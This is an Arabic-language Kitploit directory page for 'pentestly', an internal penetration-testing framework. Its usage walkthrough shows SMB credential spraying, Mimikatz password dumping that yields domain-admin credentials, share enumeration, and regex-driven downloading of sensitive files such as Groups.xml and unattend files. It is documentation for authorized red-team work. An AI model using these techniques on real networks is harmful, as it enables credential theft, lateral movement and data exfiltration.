Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pentestly — إطار اختبار اختراق داخلي بلغة بايثون وباورشيل | Kitploit
أدوات/GitHubGitHub/praetorian-inc/pentestly
أطر اختبار الاختراقتصعيد الامتيازاتالاستطلاعهجمات كلمات المرورالاستغلالالحركة الجانبيةجمع المعلوماتما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةالفريق الأحمرArchived
7211374منذ 10 سنواتتمت المراجعة من قبل Kitploit
GitHubpraetorian-inc/pentestly

pentestly

إطار اختبار اختراق داخلي بلغة بايثون وباورشيل

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

بنتيستلي

بنتيستلي هو مزيج من أدوات بايثون المتوسعة لاستخدامها في اختبارات الاختراق. الهدف هو استخدام واجهة مستخدم مألوفة مع تسهيل المساهمات في الإطار باستخدام قوة بايثون.

منشور المدونة: إطار بنتيستلي: عندما يلتقي اختبار الاختراق مع بايثون وباورشيل

المؤلف: @ctfhacker / كوري دوبلانتيس

عرض توضيحي

asciicast

الميزات الحالية

  • استيراد XML من NMAP
  • اختبار مصادقة SMB باستخدام:
    • بيانات اعتماد فردية
    • ملف يحتوي على بيانات اعتماد
    • بيانات اعتماد فارغة
    • تجزئة NTLM
  • اختبار صلاحيات المسؤول المحلي لمصادقة SMB ناجحة
  • تحديد مشاركات SMB القابلة للقراءة لبيانات الاعتماد الصالحة
  • تخزين أسماء حسابات مسؤولي المجال/المؤسسة
  • تحديد موقع عمليات مسؤول المجال قيد التشغيل
  • تحديد أنظمة مسؤولي المجال المسجلين دخولاً
  • تنفيذ أوامر باورشيل في الذاكرة واستخراج النتائج
  • تنفيذ Mimikatz لجمع كلمة المرور النصية من الذاكرة (Invoke-Mimikatz.ps1)
  • استقبال واجهة أوامر (Powercat)
  • استقبال جلسة meterpreter (Invoke-Shellcode.ps1)

على أكتاف العمالقة

يقف بنتيستلي على أكتاف العمالقة. فيما يلي الأدوات الحالية المستخدمة في بنتيستلي:

  • recon-ng - قاعدة البيانات الخلفية لـ recon-ng مصممة بشكل جميل ويتم الاستفادة منها في بنتيستلي لمعالجة البيانات

  • wmiexec.py - يتيح تنفيذ أوامر باورشيل بسرعة وسهولة عبر WMI

  • smbmap.py - أداة مفيدة لتعداد مشاركات SMB

  • Invoke-Mimikatz.ps1 - تطبيق Mimikatz في باورشيل

  • powercat.ps1 - وظائف شبيهة بـ Netcat في باورشيل

  • Invoke-Shellcode.ps1 - نشر Meterpreter في باورشيل

  • CrackMapExec - مصدر إلهام لخادم Mimikatz البسيط في بنتيستلي

التثبيت

root@kitploit:~
git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly

الاستخدام

دعنا نستعرض عدة وظائف مطبقة حالياً.

تغيير مساحة العمل

root@kitploit:~
[pentestly][default] > workspaces list

  +------------+
  | Workspaces |
  +------------+
  | default    |
  +------------+

[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project

التحميل من nmap

root@kitploit:~
[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options

  Name      Current Value                      Required  Description
  --------  -------------                      --------  -----------
  FILENAME  /root/PROJECT/full-all-alive.xml  yes       مسار واسم ملف لإدخال nmap XML

[pentestly][project][nmap_xml] > run

اختبار تسجيلات الدخول

استخدام ملف يحتوي على بيانات الاعتماد لاختبار تسجيل الدخول

root@kitploit:~
[pentestly][project][login] > cat /tmp/creds
[*] الأمر: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run

استخدام اسم مستخدم وكلمة مرور فرديين

root@kitploit:~
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run

استخدام بيانات الاعتماد على مجموعة فرعية صغيرة من عناوين IP أي على شبكة 192.168.8.0/24 الموجودة في الجدول

root@kitploit:~
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'

جمع أسماء مسؤولي المجال والمؤسسة

root@kitploit:~
[pentestly][project][login] > load get_domain # لاحظ البحث الضبابي - get_domain يجد get_domain_admin_names
[pentestly][project][get_domain_admin_names] > show options

  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  default        yes       مصدر الإدخال (انظر 'show info' للتفاصيل)

[pentestly][project][get_domain_admin_names] > run
[*] تم العثور على مسؤول مجال: domain\admin1
[*] تم العثور على مسؤول مجال: domain\admin2

تشغيل mimikatz عبر عناوين IP التي تتمتع بصلاحيات التنفيذ

root@kitploit:~
[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
اختر واجهة محلية لاستضافة البرامج النصية

0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1

[*] بيانات اعتماد التنفيذ: domain\Admin:[email protected]
[*] نجاح! Admin.DA:p@$$w0rd  - مسؤول المجال!

عرض المسؤولين المحليين

root@kitploit:~
[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run

+---------------------------------------------------------------------------------------------------------------+
|      host      | access |  username  |  password  | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 |        | nsportsman | password1! | zojix  |         |           | True    | True    | login  |
+---------------------------------------------------------------------------------------------------------------+

عرض مسؤولي المجال

root@kitploit:~
[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run

+--------------------------------------------------------------------------------------------------------------------------+
|      host      | access        | username  |  password       | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin  | TheRealDA | </l33TPassword> | zojix  |         |           | True    | True    | login  |
+--------------------------------------------------------------------------------------------------------------------------+

تعداد المشاركات

root@kitploit:~
[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] بيانات اعتماد التنفيذ: workgroup\Administrator:[email protected]
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})

عرض المشاركات الجديدة

root@kitploit:~
[pentestly][default][interesting_files] > show pentestly_shares

+------------------------------------------------------------------------------------------------+
| rowid |       host      |    username   | readwrite |      readonly     | noaccess |   module   |
+-------------------------------------------------------------------------------------------------+
| 1     | 192.168.224.252 | Administrator |           | ADMIN$,C,C$,Users | IPC$     | enumshares |
+-------------------------------------------------------------------------------------------------+

البحث/تنزيل الملفات المهمة

root@kitploit:~
[pentestly][default][interesting_files] > show options

    Name     Current Value                                                                                                                              Required  Description
    -------  -------------                                                                                                                              --------  -----------
    PATTERN  (Groups.xml|Services.xml|Printers.xml|Drives.xml|DataSources.xml|ScheduledTasks.xml|unattend|important|passw|backup|setup).*[^dll][^exe]$  yes       نمط Regex للبحث في أسماء الملفات
    SOURCE   default                                                                                                                                    yes       مصدر الإدخال (انظر 'show info' للتفاصيل)

يمكن تغيير pattern إلى شيء أكثر تخصصاً

root@kitploit:~
[pentestly][default][interesting_files] > set pattern important.txt|super_secret
PATTERN => important.txt|super_secret
[pentestly][default][interesting_files] > show options

    Name     Current Value               Required  Description
    -------  -------------               --------  -----------
    PATTERN  important.txt|super_secret  yes       نمط Regex للبحث في أسماء الملفات
    SOURCE   default                     yes       مصدر الإدخال (انظر 'show info' للتفاصيل)

تنفيذ وتنزيل الملفات الموجودة

root@kitploit:~
[pentestly][default][interesting_files] > run
[*] Administrator
[*] بيانات اعتماد التنفيذ: workgroup\Administrator:[email protected]
[+] تم العثور على تطابق! جارٍ التنزيل: Users\Administrator\Desktop\important.txt.txt
192.168.224.252-Users_Administrator_Desktop_important.txt.txt
[+] تم العثور على تطابق! جارٍ التنزيل: Users\Administrator\Desktop\super_secret.txt
192.168.224.252-Users_Administrator_Desktop_super_secret.txt

المساهمة

إنشاء وحدات جديدة سهل في بنتيستلي. ابدأ بالكود المقدم في skeleton.py:

root@kitploit:~
from libs.pentestlymodule import PentestlyModule

class Module(PentestlyModule):

    meta = {
        'name': 'اسم الوحدة الخاص بك هنا',
        'author': 'اسم المطور هنا',
        'description': 'وصف الوحدة هنا',
        'query': 'استعلام SQL تُمرر نتيجته إلى وحدتك',
        'options': (
            ('Option1', 'القيمة الافتراضية', مطلوب-صحيح/خطأ, 'وصف الخيار'),
        ),
    }

    def module_pre(self):
        # اختياري
        # يحدث قبل الوحدة الخاصة بك

    def module_run(self, data):
        # مطلوب
        # data هي نتيجة استعلام SQL المُعد في الخيارات
        
        ### بعض الدوال السحرية
        # self.query - تنفيذ استعلام SQL على قاعدة البيانات الداخلية
        results = self.query("select * from pentestly_creds")
        
        # self.output - طباعة معلومات افتراضية للمستخدم
        self.output("تم تنفيذ استعلام SQL")
        self.output(results)

        # self.alert - طباعة رسالة نجاح للمستخدم
        self.success("رائع! لقد قمنا بعمل ناجح")

    def module_post(self):
        # اختياري
        # يحدث بعد الوحدة الخاصة بك

النقاط الرئيسية هنا هي ملء قاموس meta بالمعلومات المقابلة بالإضافة إلى دالة module_run لوظيفة الوحدة.

ثم يتم وضع هذا البرنامج النصي في مجلد modules/ أو في مجلد ~/.pentestly/modules الشخصي لقابلية النقل.

ترقبوا شرحاً تفصيلياً لبرنامج نصي مثال في الأسابيع القادمة.

TODO

  • تنفيذ وحدة secretsdump.py
  • إضافة دوال مساعدة لاستعلامات قاعدة البيانات مشابهة لـ creds, services
  • إعادة تصميم دالة draw_table بأعمدة ذات عرض ثابت
  • استيراد بيانات الاعتماد من Gladius
  • تنفيذ وحدة البحث وفك تشفير كلمة مرور GPP
  • النظر في استخدام Invoke-Shellcode

سجل التغييرات

0.1.0 (2016-02-18)

الإصدار الأولي

تنزيل الأداة